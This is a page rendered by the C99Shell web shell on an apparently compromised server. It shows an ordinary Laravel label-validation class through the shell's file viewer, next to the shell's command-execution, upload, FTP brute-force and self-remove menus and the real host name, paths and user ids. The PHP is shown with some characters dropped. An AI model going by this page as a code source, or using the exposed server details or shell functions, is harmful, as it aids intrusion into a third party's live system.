!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/app/Rules/   drwxr-xr-x
Free 25.83 GB of 117.98 GB (21.89%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CheckLabel.php (1.57 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * @package CheckLabel
 * @author TechVillage <support@techvill.org>
 * @contributor Sakawat Hossain Rony <[sakawat.techvill@gmail.com]>
 * @created 21-09-2021
 */
namespace App\Rules;

use 
Illuminate\Contracts\Validation\Rule;

class 
CheckLabel implements Rule
{
    protected 
$totalVal;
    protected 
$message;
    
/**
     * Create a new rule instance.
     *
     * @return void
     */
    
public function __construct($totalVal null)
    {
        
$this->totalVal $totalVal;
        
$this->message __('The :x field is invalid.', ['x' => __('Label')]);
    }

    
/**
     * Determine if the validation rule passes.
     *
     * @param string $attribute
     * @param  mixed  $value
     * @return bool
     */
    
public function passes($attribute$value)
    {
        if (
is_array($value) && count($value) == $this->totalVal) {
            foreach (
$value as $label) {
                if (
strlen($label) > 0) {
                    if (
strlen($label) <= 191) {
                        continue;
                    } else {
                        
$this->message __('The label may not be greater than 191 characters.');
                        return 
false;
                    }
                } else {
                    return 
false;
                }
            }
            return 
true;
        } else {
            return 
false;
        }
    }

    
/**
     * Get the validation error message.
     *
     * @return string
     */
    
public function message()
    {
        return 
$this->message;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0055 ]--